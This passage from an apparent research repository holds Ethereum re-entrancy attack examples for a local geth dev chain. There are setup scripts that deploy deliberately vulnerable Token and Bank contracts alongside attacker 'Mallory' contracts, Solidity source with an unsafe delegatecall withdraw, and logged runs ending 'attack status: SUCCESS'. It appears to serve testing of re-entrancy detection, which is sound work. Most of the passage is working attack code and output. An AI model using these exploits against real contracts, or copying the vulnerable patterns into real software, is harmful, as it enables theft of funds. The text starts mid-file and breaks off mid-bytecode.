125 | // stop the second re-entrancy, which is caused by the transfer
126 | abort = true;
127 | t.exchangeAndWithdrawToken(t.getTokenCount());
128 | }
129 | }
130 | }
131 |
--------------------------------------------------------------------------------
/cross-function_setup.js:
--------------------------------------------------------------------------------
1 | // Script for deploying and running a cross-function re-entrancy attack against
2 | // a crafted vulnerable contract (see cross-function.sol)
3 | //
4 | // usage: first start geth in developer mode (no mining difficulty and
5 | // prefundend accounts) and start the JavaScript console interface of geth:
6 | //
7 | // $ geth --dev --dev.period=1 console
8 | //
9 | // Then load this script to setup everything:
10 | //
11 | // > loadScript("cross-function_setup.js")
12 | //
13 | // Sometimes it takes a while for all contracts to be mined and commited to the
14 | // dev blockchain. Manually creating more transactions helps. Simply type:
15 | //
16 | // > transferSomething()
17 | //
18 | // If both the Token and Mallory contracts have been mined, the attack can be
19 | // started:
20 | //
21 | // > triggerAttack()
22 | //
23 | //
24 | // Example:
25 | //
26 | // > loadScript("./cross-function_setup.js")
27 | //
28 | // === Cross-Function Re-Entrancy Attack Example ===
29 | //
30 | // creating/unlocking accounts
31 | // making Token
32 | // null [object Object]
33 | //
34 | // ===============================================================================
35 | // Wait for Token and Mallory contracts to be mined.
36 | // Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Token contract are mined.
37 | // Use triggerAttack() to start the attack
38 | // ===============================================================================
39 | //
40 | // true
41 | // > null [object Object]
42 | // Token Contract mined! address: 0x89f60adfb0f4d43314343c9e0df7b01b16a517c6 transactionHash: 0x0c8c6975b66ebd9dabfa334600518b8f146b5b71589ae2e895c6e64c5695f342
43 | // making Mallory
44 | // null [object Object]
45 | // null [object Object]
46 | // Mallory Contract mined! address: 0xc7661ce09714d4a1418c186862fb2164ae6c69af transactionHash: 0xc3d9d5f84af947a8de38a58d4e296ea3752d00640d36d24bf4a546c740e93613
47 | //
48 | // > t = triggerAttack()
49 | //
50 | // token has 1000 wei
51 | // mallory has 1000 wei
52 | // mallory has 0 tokens
53 | // mallory has 0 wei in token
54 | //
55 | // performing attack setup
56 | //
57 | // token has 2000 wei
58 | // mallory has 0 wei
59 | // mallory has 499 tokens
60 | // mallory has 2 wei in token
61 | //
62 | // starting attack
63 | //
64 | // token has 2 wei
65 | // mallory has 1998 wei
66 | // mallory has 0 tokens
67 | // mallory has 0 wei in token
68 | //
69 | // mallory gained 998 wei
70 | // attack status: SUCCESS
71 |
72 |
73 |
74 | console.log("\n=== Cross-Function Re-Entrancy Attack Example ===\n")
75 |
76 | console.log("creating/unlocking accounts");
77 |
78 | var defaultPassword = "";
79 |
80 | personal.newAccount(defaultPassword)
81 | personal.newAccount(defaultPassword)
82 | function unlockAllAccounts() {
83 | personal.unlockAccount(eth.accounts[0], defaultPassword)
84 | personal.unlockAccount(eth.accounts[1], defaultPassword)
85 | personal.unlockAccount(eth.accounts[2], defaultPassword)
86 | }
87 | unlockAllAccounts()
88 |
89 | attacker = eth.accounts[2]
90 | eth.sendTransaction({from: eth.accounts[0], to: attacker, value: 100000000000000000000000})
91 | admin.sleepBlocks(1)
92 |
93 | function transferSomething() {
94 | // sometimes things are stuck for some reason
95 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[1], value: 100})
96 | admin.sleepBlocks(3)
97 | }
98 |
99 |
100 | var tokenContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"transferToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"exchangeTokens","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"exchangeEther","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"exchangeAndWithdrawToken","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"getTokenCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"withdrawAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"depositEther","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"x","type":"address"}],"name":"getEtherCountFor","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"x","type":"address"}],"name":"getTokenCountFor","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]);
101 | var token_create_data = {
102 | from: web3.eth.accounts[0],
103 | data: '0x608060405234801561001057600080fd5b50600280819055506109e8806100276000396000f3fe608060405260043610610099576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680631072cbea1461009e57806340477126146100f95780635572f9c6146101345780637555bfd71461016257806378a895671461019d578063853828b6146101c857806398ea5fca146101df578063b717dadf146101e9578063eccbf4cc1461024e575b600080fd5b3480156100aa57600080fd5b506100f7600480360360408110156100c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506102b3565b005b34801561010557600080fd5b506101326004803603602081101561011c57600080fd5b8101908080359060200190929190505050610397565b005b6101606004803603602081101561014a57600080fd5b8101908080359060200190929190505050610485565b005b34801561016e57600080fd5b5061019b6004803603602081101561018557600080fd5b81019080803590602001909291905050506105ca565b005b3480156101a957600080fd5b506101b26106f0565b6040518082815260200191505060405180910390f35b3480156101d457600080fd5b506101dd610736565b005b6101e76108d2565b005b3480156101f557600080fd5b506102386004803603602081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061092b565b6040518082815260200191505060405180910390f35b34801561025a57600080fd5b5061029d6004803603602081101561027157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610974565b6040518082815260200191505060405180910390f35b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151561039357806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b5050565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156104825760006002548202905080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550505b50565b34600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156105c75760006002548281151561052957fe5b04905081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550505b50565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156106ed5760006002546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054029050816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156106ea573d6000803e3d6000fd5b50505b50565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905090565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000821180156107cd5750600081115b156108ce5760006002548202830190506000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d8060008114610880576040519150601f19603f3d011682016040523d82523d6000602084013e610885565b606091505b50505060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505b5050565b60003411156109295734600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055505b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905091905056fea165627a7a72305820a0b7f32e3553480996e5d90643f54a346d36170928b536a2896e29f44f1576630029',
104 | gas: '4700000'
105 | };
106 |
107 | transferSomething()
108 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"setup","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"inputs":[{"name":"_t","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]);
109 | var mallory_create_data = {
110 | from: attacker,
111 | data: '0x608060405234801561001057600080fd5b506040516020806105068339810180604052602081101561003057600080fd5b8101908080519060200190929190505050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060146101000a81548160ff0219169083151502179055505061045b806100ab6000396000f3fe608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680639e5faafc146101f0578063ba0bba40146101fa578063d0e30db014610204575b600060149054906101000a900460ff1615156101ee576001600060146101000a81548160ff0219169083151502179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637555bfd76000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166378a895676040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561014857600080fd5b505afa15801561015c573d6000803e3d6000fd5b505050506040513d602081101561017257600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101d557600080fd5b505af11580156101e9573d6000803e3d6000fd5b505050505b005b6101f861020e565b005b6102026102ad565b005b61020c61042d565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401600060405180830381600087803b15801561029357600080fd5b505af11580156102a7573d6000803e3d6000fd5b50505050565b600060023073ffffffffffffffffffffffffffffffffffffffff16310390506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635572f9c682836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808281526020019150506000604051808303818588803b15801561035c57600080fd5b505af1158015610370573d6000803e3d6000fd5b50505050506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166398ea5fca3073ffffffffffffffffffffffffffffffffffffffff16316040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004016000604051808303818588803b15801561041157600080fd5b505af1158015610425573d6000803e3d6000fd5b505050505050565b56fea165627a7a7230582083952b32e1f64eb268af46400f7a8b68331d57efb0c030d8f500a02b23148ecf0029',
112 | gas: '4700000'
113 | };
114 |
115 |
116 | var mallory;
117 |
118 | console.log("making Token");
119 | var token = tokenContract.new(
120 | token_create_data,
121 | function (e, contract){
122 | console.log(e, contract);
123 | if (typeof contract.address !== 'undefined') {
124 | console.log('Token Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
125 | console.log("making Mallory")
126 | mallory = malloryContract.new(
127 | contract.address,
128 | mallory_create_data, function (e, contract){
129 | console.log(e, contract);
130 | if (typeof contract.address !== 'undefined') {
131 | console.log('Mallory Contract mined! address: ' + contract.address + ' transactionHash: ' + contract.transactionHash);
132 | }
133 | })
134 | }
135 | })
136 |
137 |
138 | transferSomething()
139 | console.log("\n===============================================================================")
140 | console.log("Wait for Token and Mallory contracts to be mined.")
141 | console.log("Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that Mallory and Token contract are mined.")
142 | transferSomething()
143 | console.log("Use triggerAttack() to start the attack")
144 | console.log("===============================================================================\n")
145 |
146 |
147 | function setupInitialState() {
148 | transferSomething();
149 |
150 | // give token some ether
151 | token.depositEther({from: eth.accounts[0], value: 1000})
152 |
153 | transferSomething();
154 |
155 | // for fun we'll exchange them to tokens
156 | token.exchangeTokens("0x42", {from: eth.accounts[0], value: 0})
157 |
158 | transferSomething();
159 |
160 | // give mallory some ether
161 | mallory.deposit({from: eth.accounts[0], value: 1000});
162 |
163 | transferSomething();
164 | }
165 |
166 | function printStatus() {
167 | console.log("")
168 | console.log("token has " + eth.getBalance(token.address) + " wei");
169 | console.log("mallory has " + eth.getBalance(mallory.address) + " wei");
170 | console.log("mallory has " + token.getTokenCountFor(mallory.address) + " tokens");
171 | console.log("mallory has " + token.getEtherCountFor(mallory.address) + " wei in token");
172 | console.log("")
173 | }
174 |
175 | function triggerAttack() {
176 | transferSomething();
177 | setupInitialState();
178 | transferSomething();
179 |
180 | var preBalance = eth.getBalance(mallory.address);
181 |
182 | printStatus()
183 |
184 | console.log("performing attack setup")
185 | mallory.setup({from: attacker, gas: 300000, value: 0});
186 | transferSomething()
187 |
188 | printStatus()
189 |
190 | console.log("starting attack")
191 | var t = mallory.attack({from: attacker, gas: '4700000', value: 0});
192 | transferSomething()
193 |
194 | printStatus()
195 | var gains = (eth.getBalance(mallory.address) - preBalance);
196 | console.log("mallory gained " + gains + " wei");
197 | if (gains > 0) {
198 | console.log("attack status: SUCCESS");
199 | } else {
200 | console.log("attack status: FAIL");
201 | }
202 |
203 | // sereum only:
204 | //var r = debug.checkTransaction(t)
205 | //console.log("error: " + r.error)
206 |
207 | return t;
208 | }
209 |
210 |
211 | function getAttackTrace() {
212 | a = triggerAttack();
213 | return debug.traceTransaction(a);
214 | }
215 |
--------------------------------------------------------------------------------
/delegated.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.5.0;
2 | /*pragma solidity ^0.4.21;*/
3 |
4 | // The Bank contract uses a dynamic library contract SafeSending, which
5 | // handles parts of the business logic. In this case the SafeSending library is
6 | // a minimalistic library that simply performs an external call.
7 | //
8 | // This obfuscates the unsafe use of CALL behind a DELEGATECALL instruction. In
9 | // a more realistic scenario the library would implement something more
10 | // sophisticated.
11 |
12 | library SafeSending {
13 | function send(address to, uint256 amount) public {
14 | // external call, control goes back to attacker
15 | to.call.value(amount)("");
16 | }
17 | }
18 |
19 | contract Bank {
20 | mapping (address => uint) public balances;
21 | address owner;
22 | SafeSending safesender;
23 |
24 | constructor(SafeSending _safesender) public {
25 | // for solidity 0.4.21
26 | /*function Bank(SafeSending _safesender) public {*/
27 | owner = msg.sender;
28 | safesender = _safesender;
29 | }
30 |
31 | function updateSafeSender(SafeSending _new) public {
32 | if (msg.sender == owner) {
33 | safesender = _new;
34 | }
35 | }
36 |
37 | function getBalance(address who) public view returns(uint) {
38 | return balances[who];
39 | }
40 |
41 | function donate(address to) payable public {
42 | balances[to] += msg.value;
43 | }
44 |
45 | function withdraw(uint amount) public {
46 | if (balances[msg.sender] >= amount) {
47 | // instead of using send, transfer or call here, transfer is passed
48 | // to the library contract, which handles sending Ether.
49 | _libsend(msg.sender, amount);
50 | // state update after the DELEGATECALL
51 | balances[msg.sender] -= amount;
52 | }
53 | }
54 |
55 | /*struct s { bytes4 sig; address to; uint256 amount; }*/
56 | function _libsend(address to, uint256 amount) internal {
57 | // call send function of the Library contract with DELEGATECALL
58 | address(safesender).delegatecall(abi.encodeWithSignature("send(address,uint256)", to, amount));
59 | // for solidity 0.4.21
60 | /*s memory p; */
61 | /*p.sig = bytes4(0xd0679d34); */
62 | /*p.to = to; */
63 | /*p.amount = amount; */
64 | /*address(safesender).delegatecall((p));*/
65 | }
66 | }
67 |
68 | contract Mallory {
69 | Bank public victim;
70 | uint256 abort;
71 |
72 | function donate() external payable {}
73 |
74 | function attack(Bank addr) public payable {
75 | victim = addr;
76 | abort = 0;
77 | victim.withdraw(victim.getBalance(address(this)));
78 | }
79 |
80 | function withdraw(Bank addr) public {
81 | addr.withdraw(addr.getBalance(address(this)));
82 | }
83 |
84 | function () external payable {
85 | if (abort == 0) {
86 | abort = 1; // abort after second re-entrancy to avoid out-of-gas
87 | // withdraw a second time, s.t. we withdraw 2x the balance we
88 | // invested into the victim Bank contract.
89 | victim.withdraw(victim.getBalance(address(this)));
90 | }
91 | }
92 | }
93 |
--------------------------------------------------------------------------------
/delegated_setup.js:
--------------------------------------------------------------------------------
1 | // Script for deploying and running a delegated re-entrancy attack against a
2 | // crafted vulnerable contract (see delegated.sol)
3 | //
4 | // usage:
5 | // first start geth in developer mode (no mining difficulty and prefundend
6 | // accounts) and start the JavaScript console interface of geth:
7 | //
8 | // $ geth --dev --dev.period=1 console
9 | //
10 | // Then load this script to setup everything:
11 | //
12 | // > loadScript("delegated_setup.js")
13 | //
14 | // Sometimes it takes a while for all contracts to be mined and commited to the
15 | // dev blockchain. Manually creating more transactions helps. Simply type:
16 | //
17 | // > transferSomething()
18 | //
19 | // If both the Token and Mallory contracts have been mined, the attack can be
20 | // started:
21 | //
22 | // > triggerAttack()
23 | //
24 | //
25 | // Example:
26 | //
27 | // > loadScript("./delegated_setup.js")
28 | //
29 | // === Delegated Re-Entrancy Attack Example ===
30 | //
31 | // prefunded balance: 1.15792089237316195423570985008687907853269984665640564039457584007913129639927e+77
32 | // transferring initial funds to attacker account
33 | // attacker account balance: 1000000000000
34 | // [+] creating contracts
35 | // new Safesending
36 | // null [object Object]
37 | // new Mallory
38 | // null [object Object]
39 | //
40 | // ===============================================================================
41 | // Wait for SafeSending, Bank and Mallory contracts to be mined.
42 | // Sometimes things hang and manually calling the transferSomething() function a bunch of times until all contracts are mined resolves this. You should see a message that the SafeSending, Mallory and Bank contract are mined.
43 | //
44 | // Use `triggerAttack()` to start the attack.
45 | // ===============================================================================
46 | //
47 | // true
48 | // > null [object Object]
49 | // SafeSending mined! address: 0x536aecf182f3f59fa39ad72a34f1ccae88cb6dcd transactionHash: 0x3771a89860a8774fdb7a35a0fd9a3572125eae221436ff0a6753789b8db384f6
50 | // new Bank
51 | // null [object Object]
52 | // null [object Object]
53 | // Mallory Contract mined! address: 0x9d413eb04de05280782da6701ccbbf020ecf7b82 transactionHash: 0xa8f95da16b2ebd38739f00de6f4c550247ec1dd3a375ee692971246b434468ff
54 | // null [object Object]
55 | // Bank mined! address: 0xbb8cebebbfedf7aa2a9fffda049b106cc8850506 transactionHash: 0x938c116b897149e3e89be7d2ca98b11613ad2dec5b9eb5f2d846599174861d5b
56 | //
57 | // >
58 | // > transferSomething()
59 | // undefined
60 | // >
61 | // > t = triggerAttack()
62 | // [+] setting up contracts for attack
63 | //
64 | // [+] Current status:
65 | // Mallory has 100000 wei
66 | // Bank has 200000 wei
67 | // Mallory has 100000 wei deposited in Bank
68 | // victim has 100000 wei deposited in Bank
69 | //
70 | // [+] Triggering attack by sending wei to Mallory, which calls fallback
71 | // [+] Executed attack...
72 | //
73 | // [+] Current status:
74 | // Mallory has 300000 wei
75 | // Bank has 0 wei
76 | // Mallory has 1.15792089237316195423570985008687907853269984665640564039457584007913129539936e+77 wei deposited in Bank
77 | // victim has 100000 wei deposited in Bank
78 | // Warning: bank doesn't have enough ether to give back victim's money
79 | //
80 | // Mallory gained 200000 wei
81 | // attack status: SUCCESS
82 | //
83 |
84 |
85 | console.log("\n=== Delegated Re-Entrancy Attack Example ===\n")
86 |
87 |
88 | var defaultPassword = "";
89 |
90 | personal.newAccount(defaultPassword)
91 | personal.newAccount(defaultPassword)
92 | function unlockAllAccounts() {
93 | // this is the prefundend dev contract
94 | personal.unlockAccount(eth.accounts[0], defaultPassword)
95 | // we'll use this as "attacker"
96 | personal.unlockAccount(eth.accounts[1], defaultPassword)
97 | }
98 | unlockAllAccounts()
99 |
100 | console.log("prefunded balance: " + eth.getBalance(eth.accounts[0]))
101 | console.log("transferring initial funds to attacker account")
102 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[1], value: 1000000000000})
103 | admin.sleepBlocks(3)
104 | console.log("attacker account balance: " + eth.getBalance(eth.accounts[1]))
105 |
106 | function transferSomething() { // just transfer something to make geth commit the next block
107 | eth.sendTransaction({from: eth.accounts[0], to: eth.accounts[2], value: 100})
108 | admin.sleepBlocks(1)
109 | }
110 |
111 | transferSomething()
112 |
113 | var safesendingContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"},{"name":"amount","type":"uint256"}],"name":"send","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"}]);
114 | var safesender_create = {
115 | from: web3.eth.accounts[0],
116 | data: '0x61014e610030600b82828239805160001a6073146000811461002057610022565bfe5b5030600052607381538281f3fe7300000000000000000000000000000000000000003014608060405260043610610058576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063d0679d341461005d575b600080fd5b81801561006957600080fd5b506100b66004803603604081101561008057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506100b8565b005b8173ffffffffffffffffffffffffffffffffffffffff168160405180600001905060006040518083038185875af1925050503d8060008114610116576040519150601f19603f3d011682016040523d82523d6000602084013e61011b565b606091505b505050505056fea165627a7a72305820a4ed4bae1f7fe4d4f55ce268f61ad9542cae68b6263f4dc643a0749bd1b692930029',
117 | gas: '4700000'
118 | };
119 |
120 | var bankContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"balances","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_new","type":"address"}],"name":"updateSafeSender","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"who","type":"address"}],"name":"getBalance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[{"name":"_safesender","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"}]);
121 | var bank_create = {
122 | from: web3.eth.accounts[0],
123 | data: '0x608060405234801561001057600080fd5b506040516020806106918339810180604052602081101561003057600080fd5b810190808051906020019092919050505033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506105be806100d36000396000f3fe60806040526004361061006c576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168062362a951461007157806327e235e3146100b55780632e1a7d4d1461011a578063db0fb10714610155578063f8b2cb4f146101a6575b600080fd5b6100b36004803603602081101561008757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061020b565b005b3480156100c157600080fd5b50610104600480360360208110156100d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061025a565b6040518082815260200191505060405180910390f35b34801561012657600080fd5b506101536004803603602081101561013d57600080fd5b8101908080359060200190929190505050610272565b005b34801561016157600080fd5b506101a46004803603602081101561017857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610313565b005b3480156101b257600080fd5b506101f5600480360360208110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103ae565b6040518082815260200191505060405180910390f35b346000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555050565b60006020528060005260406000206000915090505481565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515610310576102c333826103f6565b806000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103ab5780600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001925050506040516020818303038152906040527fd0679d34000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b6020831015156105265780518252602082019150602081019050602083039250610501565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610586576040519150601f19603f3d011682016040523d82523d6000602084013e61058b565b606091505b505050505056fea165627a7a72305820c4968739ab57c1abbb9755d50433740926c2fa8e488f3bb47612cbb6d515fda60029',
124 | gas: '4700000'
125 | };
126 |
127 | var malloryContract = web3.eth.contract([{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"withdraw","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"victim","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"}],"name":"attack","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"donate","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]);
128 | var mallory_create = {
129 | from: web3.eth.accounts[1],
130 | data: '0x608060405234801561001057600080fd5b506106a0806100206000396000f3fe608060405260043610610062576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806351cff8d914610213578063930c200314610264578063d018db3e146102bb578063ed88c68e146102ff575b6000600154141561021157600180819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561016b57600080fd5b505afa15801561017f573d6000803e3d6000fd5b505050506040513d602081101561019557600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b1580156101f857600080fd5b505af115801561020c573d6000803e3d6000fd5b505050505b005b34801561021f57600080fd5b506102626004803603602081101561023657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610309565b005b34801561027057600080fd5b50610279610466565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102fd600480360360208110156102d157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061048b565b005b610307610672565b005b8073ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d8273ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156103be57600080fd5b505afa1580156103d2573d6000803e3d6000fd5b505050506040513d60208110156103e857600080fd5b81019080805190602001909291905050506040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050600060405180830381600087803b15801561044b57600080fd5b505af115801561045f573d6000803e3d6000fd5b5050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060006001819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f8b2cb4f306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156105ca57600080fd5b